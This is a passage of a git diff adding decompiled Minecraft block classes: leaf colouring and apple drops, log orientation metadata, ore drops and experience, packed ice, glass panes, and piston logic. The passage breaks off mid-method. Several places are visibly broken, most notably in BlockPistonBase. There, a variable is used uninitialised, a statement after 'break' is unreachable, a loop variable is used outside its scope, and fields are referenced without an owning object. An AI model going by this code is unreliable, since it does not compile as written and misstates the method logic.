+      if (var5 == BlockPlanks.EnumType.BIRCH)
+      {
+        return ColorizerFoliage.getFoliageColorBirch();
+      }
+    }
+    
+    return super.colorMultiplier(worldIn, pos, renderPass);
+  }
+  
+  protected void func_176234_a(World worldIn, BlockPos p_176234_2_, IBlockState p_176234_3_, int p_176234_4_)
+  {
+    if ((p_176234_3_.getValue(VARIANT_PROP) == BlockPlanks.EnumType.OAK) && (rand.nextInt(p_176234_4_) == 0))
+    {
+      spawnAsEntity(worldIn, p_176234_2_, new ItemStack(Items.apple, 1, 0));
+    }
+  }
+  
+  protected int func_176232_d(IBlockState p_176232_1_)
+  {
+    return p_176232_1_.getValue(VARIANT_PROP) == BlockPlanks.EnumType.JUNGLE ? 40 : super.func_176232_d(p_176232_1_);
+  }
+  
+
+
+
+  public void getSubBlocks(Item itemIn, CreativeTabs tab, List list)
+  {
+    list.add(new ItemStack(itemIn, 1, BlockPlanks.EnumType.OAK.func_176839_a()));
+    list.add(new ItemStack(itemIn, 1, BlockPlanks.EnumType.SPRUCE.func_176839_a()));
+    list.add(new ItemStack(itemIn, 1, BlockPlanks.EnumType.BIRCH.func_176839_a()));
+    list.add(new ItemStack(itemIn, 1, BlockPlanks.EnumType.JUNGLE.func_176839_a()));
+  }
+  
+  protected ItemStack createStackedBlock(IBlockState state)
+  {
+    return new ItemStack(Item.getItemFromBlock(this), 1, ((BlockPlanks.EnumType)state.getValue(VARIANT_PROP)).func_176839_a());
+  }
+  
+
+
+
+  public IBlockState getStateFromMeta(int meta)
+  {
+    return getDefaultState().withProperty(VARIANT_PROP, func_176233_b(meta)).withProperty(field_176237_a, Boolean.valueOf((meta & 0x4) == 0)).withProperty(field_176236_b, Boolean.valueOf((meta & 0x8) > 0));
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    byte var2 = 0;
+    int var3 = var2 | ((BlockPlanks.EnumType)state.getValue(VARIANT_PROP)).func_176839_a();
+    
+    if (!((Boolean)state.getValue(field_176237_a)).booleanValue())
+    {
+      var3 |= 0x4;
+    }
+    
+    if (((Boolean)state.getValue(field_176236_b)).booleanValue())
+    {
+      var3 |= 0x8;
+    }
+    
+    return var3;
+  }
+  
+  public BlockPlanks.EnumType func_176233_b(int p_176233_1_)
+  {
+    return BlockPlanks.EnumType.func_176837_a((p_176233_1_ & 0x3) % 4);
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return new BlockState(this, new IProperty[] { VARIANT_PROP, field_176236_b, field_176237_a });
+  }
+  
+
+
+
+  public int damageDropped(IBlockState state)
+  {
+    return ((BlockPlanks.EnumType)state.getValue(VARIANT_PROP)).func_176839_a();
+  }
+  
+  public void harvestBlock(World worldIn, EntityPlayer playerIn, BlockPos pos, IBlockState state, TileEntity te)
+  {
+    if ((!isRemote) && (playerIn.getCurrentEquippedItem() != null) && (playerIn.getCurrentEquippedItem().getItem() == Items.shears))
+    {
+      playerIn.triggerAchievement(net.minecraft.stats.StatList.mineBlockStatArray[Block.getIdFromBlock(this)]);
+      spawnAsEntity(worldIn, pos, new ItemStack(Item.getItemFromBlock(this), 1, ((BlockPlanks.EnumType)state.getValue(VARIANT_PROP)).func_176839_a()));
+    }
+    else
+    {
+      super.harvestBlock(worldIn, playerIn, pos, state, te);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockOldLog.java b/src/minecraft/net/minecraft/block/BlockOldLog.java
new file mode 100644
index 0000000..b4b5ce4
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockOldLog.java
@@ -0,0 +1,161 @@
+package net.minecraft.block;
+
+import com.google.common.base.Predicate;
+import java.util.List;
+import net.minecraft.block.properties.IProperty;
+import net.minecraft.block.properties.PropertyEnum;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+
+public class BlockOldLog extends BlockLog
+{
+  public static final PropertyEnum VARIANT_PROP = PropertyEnum.create("variant", BlockPlanks.EnumType.class, new Predicate()
+  {
+    private static final String __OBFID = "CL_00002084";
+    
+    public boolean func_180200_a(BlockPlanks.EnumType p_180200_1_) {
+      return p_180200_1_.func_176839_a() < 4;
+    }
+    
+    public boolean apply(Object p_apply_1_) {
+      return func_180200_a((BlockPlanks.EnumType)p_apply_1_);
+    }
+  });
+  
+
+
+
+
+
+  private static final String __OBFID = "CL_00000281";
+  
+
+
+
+
+
+  public BlockOldLog()
+  {
+    setDefaultState(blockState.getBaseState().withProperty(VARIANT_PROP, BlockPlanks.EnumType.OAK).withProperty(AXIS_PROP, BlockLog.EnumAxis.Y));
+  }
+  
+
+
+
+  public void getSubBlocks(Item itemIn, CreativeTabs tab, List list)
+  {
+    list.add(new ItemStack(itemIn, 1, BlockPlanks.EnumType.OAK.func_176839_a()));
+    list.add(new ItemStack(itemIn, 1, BlockPlanks.EnumType.SPRUCE.func_176839_a()));
+    list.add(new ItemStack(itemIn, 1, BlockPlanks.EnumType.BIRCH.func_176839_a()));
+    list.add(new ItemStack(itemIn, 1, BlockPlanks.EnumType.JUNGLE.func_176839_a()));
+  }
+  
+
+
+
+  public IBlockState getStateFromMeta(int meta)
+  {
+    IBlockState var2 = getDefaultState().withProperty(VARIANT_PROP, BlockPlanks.EnumType.func_176837_a((meta & 0x3) % 4));
+    
+    switch (meta & 0xC)
+    {
+    case 0: 
+      var2 = var2.withProperty(AXIS_PROP, BlockLog.EnumAxis.Y);
+      break;
+    
+    case 4: 
+      var2 = var2.withProperty(AXIS_PROP, BlockLog.EnumAxis.X);
+      break;
+    
+    case 8: 
+      var2 = var2.withProperty(AXIS_PROP, BlockLog.EnumAxis.Z);
+      break;
+    
+    default: 
+      var2 = var2.withProperty(AXIS_PROP, BlockLog.EnumAxis.NONE);
+    }
+    
+    return var2;
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    byte var2 = 0;
+    int var3 = var2 | ((BlockPlanks.EnumType)state.getValue(VARIANT_PROP)).func_176839_a();
+    
+    switch (SwitchEnumAxis.field_180203_a[((BlockLog.EnumAxis)state.getValue(AXIS_PROP)).ordinal()])
+    {
+    case 1: 
+      var3 |= 0x4;
+      break;
+    
+    case 2: 
+      var3 |= 0x8;
+      break;
+    
+    case 3: 
+      var3 |= 0xC;
+    }
+    
+    return var3;
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return new BlockState(this, new IProperty[] { VARIANT_PROP, AXIS_PROP });
+  }
+  
+  protected ItemStack createStackedBlock(IBlockState state)
+  {
+    return new ItemStack(Item.getItemFromBlock(this), 1, ((BlockPlanks.EnumType)state.getValue(VARIANT_PROP)).func_176839_a());
+  }
+  
+
+
+
+  public int damageDropped(IBlockState state)
+  {
+    return ((BlockPlanks.EnumType)state.getValue(VARIANT_PROP)).func_176839_a();
+  }
+  
+  static final class SwitchEnumAxis
+  {
+    static final int[] field_180203_a = new int[BlockLog.EnumAxis.values().length];
+    private static final String __OBFID = "CL_00002083";
+    
+    static
+    {
+      try
+      {
+        field_180203_a[BlockLog.EnumAxis.X.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError1) {}
+      
+
+
+
+      try
+      {
+        field_180203_a[BlockLog.EnumAxis.Z.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError2) {}
+      
+
+
+
+      try
+      {
+        field_180203_a[BlockLog.EnumAxis.NONE.ordinal()] = 3;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError3) {}
+    }
+    
+    SwitchEnumAxis() {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockOre.java b/src/minecraft/net/minecraft/block/BlockOre.java
new file mode 100644
index 0000000..20dcdd2
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockOre.java
@@ -0,0 +1,116 @@
+package net.minecraft.block;
+
+import java.util.Random;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.init.Blocks;
+import net.minecraft.init.Items;
+import net.minecraft.item.EnumDyeColor;
+import net.minecraft.item.Item;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.World;
+
+public class BlockOre extends Block
+{
+  private static final String __OBFID = "CL_00000282";
+  
+  public BlockOre()
+  {
+    super(net.minecraft.block.material.Material.rock);
+    setCreativeTab(CreativeTabs.tabBlock);
+  }
+  
+
+
+
+
+
+  public Item getItemDropped(IBlockState state, Random rand, int fortune)
+  {
+    return this == Blocks.quartz_ore ? Items.quartz : this == Blocks.emerald_ore ? Items.emerald : this == Blocks.lapis_ore ? Items.dye : this == Blocks.diamond_ore ? Items.diamond : this == Blocks.coal_ore ? Items.coal : Item.getItemFromBlock(this);
+  }
+  
+
+
+
+  public int quantityDropped(Random random)
+  {
+    return this == Blocks.lapis_ore ? 4 + random.nextInt(5) : 1;
+  }
+  
+
+
+
+  public int quantityDroppedWithBonus(int fortune, Random random)
+  {
+    if ((fortune > 0) && (Item.getItemFromBlock(this) != getItemDropped((IBlockState)getBlockState().getValidStates().iterator().next(), random, fortune)))
+    {
+      int var3 = random.nextInt(fortune + 2) - 1;
+      
+      if (var3 < 0)
+      {
+        var3 = 0;
+      }
+      
+      return quantityDropped(random) * (var3 + 1);
+    }
+    
+
+    return quantityDropped(random);
+  }
+  
+
+
+
+
+
+
+
+  public void dropBlockAsItemWithChance(World worldIn, BlockPos pos, IBlockState state, float chance, int fortune)
+  {
+    super.dropBlockAsItemWithChance(worldIn, pos, state, chance, fortune);
+    
+    if (getItemDropped(state, rand, fortune) != Item.getItemFromBlock(this))
+    {
+      int var6 = 0;
+      
+      if (this == Blocks.coal_ore)
+      {
+        var6 = MathHelper.getRandomIntegerInRange(rand, 0, 2);
+      }
+      else if (this == Blocks.diamond_ore)
+      {
+        var6 = MathHelper.getRandomIntegerInRange(rand, 3, 7);
+      }
+      else if (this == Blocks.emerald_ore)
+      {
+        var6 = MathHelper.getRandomIntegerInRange(rand, 3, 7);
+      }
+      else if (this == Blocks.lapis_ore)
+      {
+        var6 = MathHelper.getRandomIntegerInRange(rand, 2, 5);
+      }
+      else if (this == Blocks.quartz_ore)
+      {
+        var6 = MathHelper.getRandomIntegerInRange(rand, 2, 5);
+      }
+      
+      dropXpOnBlockBreak(worldIn, pos, var6);
+    }
+  }
+  
+  public int getDamageValue(World worldIn, BlockPos pos)
+  {
+    return 0;
+  }
+  
+
+
+
+  public int damageDropped(IBlockState state)
+  {
+    return this == Blocks.lapis_ore ? EnumDyeColor.BLUE.getDyeColorDamage() : 0;
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockPackedIce.java b/src/minecraft/net/minecraft/block/BlockPackedIce.java
new file mode 100644
index 0000000..8e47f68
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockPackedIce.java
@@ -0,0 +1,25 @@
+package net.minecraft.block;
+
+import java.util.Random;
+import net.minecraft.block.material.Material;
+import net.minecraft.creativetab.CreativeTabs;
+
+public class BlockPackedIce extends Block
+{
+  private static final String __OBFID = "CL_00000283";
+  
+  public BlockPackedIce()
+  {
+    super(Material.packedIce);
+    slipperiness = 0.98F;
+    setCreativeTab(CreativeTabs.tabBlock);
+  }
+  
+
+
+
+  public int quantityDropped(Random random)
+  {
+    return 0;
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockPane.java b/src/minecraft/net/minecraft/block/BlockPane.java
new file mode 100644
index 0000000..a8a2830
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockPane.java
@@ -0,0 +1,206 @@
+package net.minecraft.block;
+
+import java.util.List;
+import java.util.Random;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.properties.IProperty;
+import net.minecraft.block.properties.PropertyBool;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.entity.Entity;
+import net.minecraft.init.Blocks;
+import net.minecraft.item.Item;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.EnumWorldBlockLayer;
+import net.minecraft.world.IBlockAccess;
+import net.minecraft.world.World;
+
+public class BlockPane extends Block
+{
+  public static final PropertyBool NORTH = PropertyBool.create("north");
+  public static final PropertyBool EAST = PropertyBool.create("east");
+  public static final PropertyBool SOUTH = PropertyBool.create("south");
+  public static final PropertyBool WEST = PropertyBool.create("west");
+  private final boolean field_150099_b;
+  private static final String __OBFID = "CL_00000322";
+  
+  protected BlockPane(Material p_i45675_1_, boolean p_i45675_2_)
+  {
+    super(p_i45675_1_);
+    setDefaultState(blockState.getBaseState().withProperty(NORTH, Boolean.valueOf(false)).withProperty(EAST, Boolean.valueOf(false)).withProperty(SOUTH, Boolean.valueOf(false)).withProperty(WEST, Boolean.valueOf(false)));
+    field_150099_b = p_i45675_2_;
+    setCreativeTab(CreativeTabs.tabDecorations);
+  }
+  
+
+
+
+
+  public IBlockState getActualState(IBlockState state, IBlockAccess worldIn, BlockPos pos)
+  {
+    return state.withProperty(NORTH, Boolean.valueOf(canPaneConnectToBlock(worldIn.getBlockState(pos.offsetNorth()).getBlock()))).withProperty(SOUTH, Boolean.valueOf(canPaneConnectToBlock(worldIn.getBlockState(pos.offsetSouth()).getBlock()))).withProperty(WEST, Boolean.valueOf(canPaneConnectToBlock(worldIn.getBlockState(pos.offsetWest()).getBlock()))).withProperty(EAST, Boolean.valueOf(canPaneConnectToBlock(worldIn.getBlockState(pos.offsetEast()).getBlock())));
+  }
+  
+
+
+
+
+
+  public Item getItemDropped(IBlockState state, Random rand, int fortune)
+  {
+    return !field_150099_b ? null : super.getItemDropped(state, rand, fortune);
+  }
+  
+  public boolean isOpaqueCube()
+  {
+    return false;
+  }
+  
+  public boolean isFullCube()
+  {
+    return false;
+  }
+  
+  public boolean shouldSideBeRendered(IBlockAccess worldIn, BlockPos pos, EnumFacing side)
+  {
+    return worldIn.getBlockState(pos).getBlock() == this ? false : super.shouldSideBeRendered(worldIn, pos, side);
+  }
+  
+
+
+
+
+
+  public void addCollisionBoxesToList(World worldIn, BlockPos pos, IBlockState state, AxisAlignedBB mask, List list, Entity collidingEntity)
+  {
+    boolean var7 = canPaneConnectToBlock(worldIn.getBlockState(pos.offsetNorth()).getBlock());
+    boolean var8 = canPaneConnectToBlock(worldIn.getBlockState(pos.offsetSouth()).getBlock());
+    boolean var9 = canPaneConnectToBlock(worldIn.getBlockState(pos.offsetWest()).getBlock());
+    boolean var10 = canPaneConnectToBlock(worldIn.getBlockState(pos.offsetEast()).getBlock());
+    
+    if (((!var9) || (!var10)) && ((var9) || (var10) || (var7) || (var8)))
+    {
+      if (var9)
+      {
+        setBlockBounds(0.0F, 0.0F, 0.4375F, 0.5F, 1.0F, 0.5625F);
+        super.addCollisionBoxesToList(worldIn, pos, state, mask, list, collidingEntity);
+      }
+      else if (var10)
+      {
+        setBlockBounds(0.5F, 0.0F, 0.4375F, 1.0F, 1.0F, 0.5625F);
+        super.addCollisionBoxesToList(worldIn, pos, state, mask, list, collidingEntity);
+      }
+    }
+    else
+    {
+      setBlockBounds(0.0F, 0.0F, 0.4375F, 1.0F, 1.0F, 0.5625F);
+      super.addCollisionBoxesToList(worldIn, pos, state, mask, list, collidingEntity);
+    }
+    
+    if (((!var7) || (!var8)) && ((var9) || (var10) || (var7) || (var8)))
+    {
+      if (var7)
+      {
+        setBlockBounds(0.4375F, 0.0F, 0.0F, 0.5625F, 1.0F, 0.5F);
+        super.addCollisionBoxesToList(worldIn, pos, state, mask, list, collidingEntity);
+      }
+      else if (var8)
+      {
+        setBlockBounds(0.4375F, 0.0F, 0.5F, 0.5625F, 1.0F, 1.0F);
+        super.addCollisionBoxesToList(worldIn, pos, state, mask, list, collidingEntity);
+      }
+    }
+    else
+    {
+      setBlockBounds(0.4375F, 0.0F, 0.0F, 0.5625F, 1.0F, 1.0F);
+      super.addCollisionBoxesToList(worldIn, pos, state, mask, list, collidingEntity);
+    }
+  }
+  
+
+
+
+  public void setBlockBoundsForItemRender()
+  {
+    setBlockBounds(0.0F, 0.0F, 0.0F, 1.0F, 1.0F, 1.0F);
+  }
+  
+  public void setBlockBoundsBasedOnState(IBlockAccess access, BlockPos pos)
+  {
+    float var3 = 0.4375F;
+    float var4 = 0.5625F;
+    float var5 = 0.4375F;
+    float var6 = 0.5625F;
+    boolean var7 = canPaneConnectToBlock(access.getBlockState(pos.offsetNorth()).getBlock());
+    boolean var8 = canPaneConnectToBlock(access.getBlockState(pos.offsetSouth()).getBlock());
+    boolean var9 = canPaneConnectToBlock(access.getBlockState(pos.offsetWest()).getBlock());
+    boolean var10 = canPaneConnectToBlock(access.getBlockState(pos.offsetEast()).getBlock());
+    
+    if (((!var9) || (!var10)) && ((var9) || (var10) || (var7) || (var8)))
+    {
+      if (var9)
+      {
+        var3 = 0.0F;
+      }
+      else if (var10)
+      {
+        var4 = 1.0F;
+      }
+    }
+    else
+    {
+      var3 = 0.0F;
+      var4 = 1.0F;
+    }
+    
+    if (((!var7) || (!var8)) && ((var9) || (var10) || (var7) || (var8)))
+    {
+      if (var7)
+      {
+        var5 = 0.0F;
+      }
+      else if (var8)
+      {
+        var6 = 1.0F;
+      }
+    }
+    else
+    {
+      var5 = 0.0F;
+      var6 = 1.0F;
+    }
+    
+    setBlockBounds(var3, 0.0F, var5, var4, 1.0F, var6);
+  }
+  
+  public final boolean canPaneConnectToBlock(Block p_150098_1_)
+  {
+    return (p_150098_1_.isFullBlock()) || (p_150098_1_ == this) || (p_150098_1_ == Blocks.glass) || (p_150098_1_ == Blocks.stained_glass) || (p_150098_1_ == Blocks.stained_glass_pane) || ((p_150098_1_ instanceof BlockPane));
+  }
+  
+  protected boolean canSilkHarvest()
+  {
+    return true;
+  }
+  
+  public EnumWorldBlockLayer getBlockLayer()
+  {
+    return EnumWorldBlockLayer.CUTOUT_MIPPED;
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    return 0;
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return new BlockState(this, new IProperty[] { NORTH, EAST, WEST, SOUTH });
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockPistonBase.java b/src/minecraft/net/minecraft/block/BlockPistonBase.java
new file mode 100644
index 0000000..2a69927
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockPistonBase.java
@@ -0,0 +1,556 @@
+package net.minecraft.block;
+
+import java.util.List;
+import java.util.Random;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.properties.PropertyBool;
+import net.minecraft.block.properties.PropertyDirection;
+import net.minecraft.block.state.BlockPistonStructureHelper;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.init.Blocks;
+import net.minecraft.item.ItemStack;
+import net.minecraft.tileentity.TileEntity;
+import net.minecraft.tileentity.TileEntityPiston;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.IBlockAccess;
+import net.minecraft.world.World;
+import net.minecraft.world.border.WorldBorder;
+
+public class BlockPistonBase extends Block
+{
+  public static final PropertyDirection FACING = PropertyDirection.create("facing");
+  public static final PropertyBool EXTENDED = PropertyBool.create("extended");
+  
+  private final boolean isSticky;
+  
+  private static final String __OBFID = "CL_00000366";
+  
+  public BlockPistonBase(boolean p_i45443_1_)
+  {
+    super(Material.piston);
+    setDefaultState(blockState.getBaseState().withProperty(FACING, EnumFacing.NORTH).withProperty(EXTENDED, Boolean.valueOf(false)));
+    isSticky = p_i45443_1_;
+    setStepSound(soundTypePiston);
+    setHardness(0.5F);
+    setCreativeTab(net.minecraft.creativetab.CreativeTabs.tabRedstone);
+  }
+  
+  public boolean isOpaqueCube()
+  {
+    return false;
+  }
+  
+  public void onBlockPlacedBy(World worldIn, BlockPos pos, IBlockState state, EntityLivingBase placer, ItemStack stack)
+  {
+    worldIn.setBlockState(pos, state.withProperty(FACING, func_180695_a(worldIn, pos, placer)), 2);
+    
+    if (!isRemote)
+    {
+      func_176316_e(worldIn, pos, state);
+    }
+  }
+  
+  public void onNeighborBlockChange(World worldIn, BlockPos pos, IBlockState state, Block neighborBlock)
+  {
+    if (!isRemote)
+    {
+      func_176316_e(worldIn, pos, state);
+    }
+  }
+  
+  public void onBlockAdded(World worldIn, BlockPos pos, IBlockState state)
+  {
+    if ((!isRemote) && (worldIn.getTileEntity(pos) == null))
+    {
+      func_176316_e(worldIn, pos, state);
+    }
+  }
+  
+  public IBlockState onBlockPlaced(World worldIn, BlockPos pos, EnumFacing facing, float hitX, float hitY, float hitZ, int meta, EntityLivingBase placer)
+  {
+    return getDefaultState().withProperty(FACING, func_180695_a(worldIn, pos, placer)).withProperty(EXTENDED, Boolean.valueOf(false));
+  }
+  
+  private void func_176316_e(World worldIn, BlockPos p_176316_2_, IBlockState p_176316_3_)
+  {
+    EnumFacing var4 = (EnumFacing)p_176316_3_.getValue(FACING);
+    boolean var5 = func_176318_b(worldIn, p_176316_2_, var4);
+    
+    if ((var5) && (!((Boolean)p_176316_3_.getValue(EXTENDED)).booleanValue()))
+    {
+      if (new BlockPistonStructureHelper(worldIn, p_176316_2_, var4, true).func_177253_a())
+      {
+        worldIn.addBlockEvent(p_176316_2_, this, 0, var4.getIndex());
+      }
+    }
+    else if ((!var5) && (((Boolean)p_176316_3_.getValue(EXTENDED)).booleanValue()))
+    {
+      worldIn.setBlockState(p_176316_2_, p_176316_3_.withProperty(EXTENDED, Boolean.valueOf(false)), 2);
+      worldIn.addBlockEvent(p_176316_2_, this, 1, var4.getIndex());
+    }
+  }
+  
+  private boolean func_176318_b(World worldIn, BlockPos p_176318_2_, EnumFacing p_176318_3_)
+  {
+    EnumFacing[] var4 = EnumFacing.values();
+    int var5 = var4.length;
+    
+
+    for (int var6 = 0; var6 < var5; var6++)
+    {
+      EnumFacing var7 = var4[var6];
+      
+      if ((var7 != p_176318_3_) && (worldIn.func_175709_b(p_176318_2_.offset(var7), var7)))
+      {
+        return true;
+      }
+    }
+    
+    if (worldIn.func_175709_b(p_176318_2_, EnumFacing.NORTH))
+    {
+      return true;
+    }
+    
+
+    BlockPos var9 = p_176318_2_.offsetUp();
+    EnumFacing[] var10 = EnumFacing.values();
+    var6 = var10.length;
+    
+    for (int var11 = 0; var11 < var6; var11++)
+    {
+      EnumFacing var8 = var10[var11];
+      
+      if ((var8 != EnumFacing.DOWN) && (worldIn.func_175709_b(var9.offset(var8), var8)))
+      {
+        return true;
+      }
+    }
+    
+    return false;
+  }
+  
+
+
+
+
+  public boolean onBlockEventReceived(World worldIn, BlockPos pos, IBlockState state, int eventID, int eventParam)
+  {
+    EnumFacing var6 = (EnumFacing)state.getValue(FACING);
+    
+    if (!isRemote)
+    {
+      boolean var7 = func_176318_b(worldIn, pos, var6);
+      
+      if ((var7) && (eventID == 1))
+      {
+        worldIn.setBlockState(pos, state.withProperty(EXTENDED, Boolean.valueOf(true)), 2);
+        return false;
+      }
+      
+      if ((!var7) && (eventID == 0))
+      {
+        return false;
+      }
+    }
+    
+    if (eventID == 0)
+    {
+      if (!func_176319_a(worldIn, pos, var6, true))
+      {
+        return false;
+      }
+      
+      worldIn.setBlockState(pos, state.withProperty(EXTENDED, Boolean.valueOf(true)), 2);
+      worldIn.playSoundEffect(pos.getX() + 0.5D, pos.getY() + 0.5D, pos.getZ() + 0.5D, "tile.piston.out", 0.5F, rand.nextFloat() * 0.25F + 0.6F);
+    }
+    else if (eventID == 1)
+    {
+      TileEntity var13 = worldIn.getTileEntity(pos.offset(var6));
+      
+      if ((var13 instanceof TileEntityPiston))
+      {
+        ((TileEntityPiston)var13).clearPistonTileEntity();
+      }
+      
+      worldIn.setBlockState(pos, Blocks.piston_extension.getDefaultState().withProperty(BlockPistonMoving.field_176426_a, var6).withProperty(BlockPistonMoving.field_176425_b, isSticky ? BlockPistonExtension.EnumPistonType.STICKY : BlockPistonExtension.EnumPistonType.DEFAULT), 3);
+      worldIn.setTileEntity(pos, BlockPistonMoving.func_176423_a(getStateFromMeta(eventParam), var6, false, true));
+      
+      if (isSticky)
+      {
+        BlockPos var8 = pos.add(var6.getFrontOffsetX() * 2, var6.getFrontOffsetY() * 2, var6.getFrontOffsetZ() * 2);
+        Block var9 = worldIn.getBlockState(var8).getBlock();
+        boolean var10 = false;
+        
+        if (var9 == Blocks.piston_extension)
+        {
+          TileEntity var11 = worldIn.getTileEntity(var8);
+          
+          if ((var11 instanceof TileEntityPiston))
+          {
+            TileEntityPiston var12 = (TileEntityPiston)var11;
+            
+            if ((var12.func_174930_e() == var6) && (var12.isExtending()))
+            {
+              var12.clearPistonTileEntity();
+              var10 = true;
+            }
+          }
+        }
+        
+        if ((!var10) && (var9.getMaterial() != Material.air) && (func_180696_a(var9, worldIn, var8, var6.getOpposite(), false)) && ((var9.getMobilityFlag() == 0) || (var9 == Blocks.piston) || (var9 == Blocks.sticky_piston)))
+        {
+          func_176319_a(worldIn, pos, var6, false);
+        }
+      }
+      else
+      {
+        worldIn.setBlockToAir(pos.offset(var6));
+      }
+      
+      worldIn.playSoundEffect(pos.getX() + 0.5D, pos.getY() + 0.5D, pos.getZ() + 0.5D, "tile.piston.in", 0.5F, rand.nextFloat() * 0.15F + 0.6F);
+    }
+    
+    return true;
+  }
+  
+  public void setBlockBoundsBasedOnState(IBlockAccess access, BlockPos pos)
+  {
+    IBlockState var3 = access.getBlockState(pos);
+    EnumFacing var5;
+    if ((var3.getBlock() == this) && (((Boolean)var3.getValue(EXTENDED)).booleanValue()))
+    {
+      float var4 = 0.25F;
+      var5 = (EnumFacing)var3.getValue(FACING);
+      
+      if (var5 == null) {}
+    } else {
+      switch (SwitchEnumFacing.field_177243_a[var5.ordinal()])
+      {
+      case 1: 
+        setBlockBounds(0.0F, 0.25F, 0.0F, 1.0F, 1.0F, 1.0F);
+        break;
+      
+      case 2: 
+        setBlockBounds(0.0F, 0.0F, 0.0F, 1.0F, 0.75F, 1.0F);
+        break;
+      
+      case 3: 
+        setBlockBounds(0.0F, 0.0F, 0.25F, 1.0F, 1.0F, 1.0F);
+        break;
+      
+      case 4: 
+        setBlockBounds(0.0F, 0.0F, 0.0F, 1.0F, 1.0F, 0.75F);
+        break;
+      
+      case 5: 
+        setBlockBounds(0.25F, 0.0F, 0.0F, 1.0F, 1.0F, 1.0F);
+        break;
+      
+      case 6: 
+        setBlockBounds(0.0F, 0.0F, 0.0F, 0.75F, 1.0F, 1.0F);
+      
+
+
+
+      default: 
+        break;setBlockBounds(0.0F, 0.0F, 0.0F, 1.0F, 1.0F, 1.0F);
+      }
+      
+    }
+  }
+  
+
+  public void setBlockBoundsForItemRender()
+  {
+    setBlockBounds(0.0F, 0.0F, 0.0F, 1.0F, 1.0F, 1.0F);
+  }
+  
+
+
+
+
+
+  public void addCollisionBoxesToList(World worldIn, BlockPos pos, IBlockState state, AxisAlignedBB mask, List list, Entity collidingEntity)
+  {
+    setBlockBounds(0.0F, 0.0F, 0.0F, 1.0F, 1.0F, 1.0F);
+    super.addCollisionBoxesToList(worldIn, pos, state, mask, list, collidingEntity);
+  }
+  
+  public AxisAlignedBB getCollisionBoundingBox(World worldIn, BlockPos pos, IBlockState state)
+  {
+    setBlockBoundsBasedOnState(worldIn, pos);
+    return super.getCollisionBoundingBox(worldIn, pos, state);
+  }
+  
+  public boolean isFullCube()
+  {
+    return false;
+  }
+  
+  public static EnumFacing func_176317_b(int p_176317_0_)
+  {
+    int var1 = p_176317_0_ & 0x7;
+    return var1 > 5 ? null : EnumFacing.getFront(var1);
+  }
+  
+  public static EnumFacing func_180695_a(World worldIn, BlockPos p_180695_1_, EntityLivingBase p_180695_2_)
+  {
+    if ((MathHelper.abs((float)posX - p_180695_1_.getX()) < 2.0F) && (MathHelper.abs((float)posZ - p_180695_1_.getZ()) < 2.0F))
+    {
+      double var3 = posY + p_180695_2_.getEyeHeight();
+      
+      if (var3 - p_180695_1_.getY() > 2.0D)
+      {
+        return EnumFacing.UP;
+      }
+      
+      if (p_180695_1_.getY() - var3 > 0.0D)
+      {
+        return EnumFacing.DOWN;
+      }
+    }
+    
+    return p_180695_2_.func_174811_aO().getOpposite();
+  }
+  
+  public static boolean func_180696_a(Block p_180696_0_, World worldIn, BlockPos p_180696_2_, EnumFacing p_180696_3_, boolean p_180696_4_)
+  {
+    if (p_180696_0_ == Blocks.obsidian)
+    {
+      return false;
+    }
+    if (!worldIn.getWorldBorder().contains(p_180696_2_))
+    {
+      return false;
+    }
+    if ((p_180696_2_.getY() >= 0) && ((p_180696_3_ != EnumFacing.DOWN) || (p_180696_2_.getY() != 0)))
+    {
+      if ((p_180696_2_.getY() <= worldIn.getHeight() - 1) && ((p_180696_3_ != EnumFacing.UP) || (p_180696_2_.getY() != worldIn.getHeight() - 1)))
+      {
+        if ((p_180696_0_ != Blocks.piston) && (p_180696_0_ != Blocks.sticky_piston))
+        {
+          if (p_180696_0_.getBlockHardness(worldIn, p_180696_2_) == -1.0F)
+          {
+            return false;
+          }
+          
+          if (p_180696_0_.getMobilityFlag() == 2)
+          {
+            return false;
+          }
+          
+          if (p_180696_0_.getMobilityFlag() == 1)
+          {
+            if (!p_180696_4_)
+            {
+              return false;
+            }
+            
+            return true;
+          }
+        }
+        else if (((Boolean)worldIn.getBlockState(p_180696_2_).getValue(EXTENDED)).booleanValue())
+        {
+          return false;
+        }
+        
+        return !(p_180696_0_ instanceof ITileEntityProvider);
+      }
+      
+
+      return false;
+    }
+    
+
+
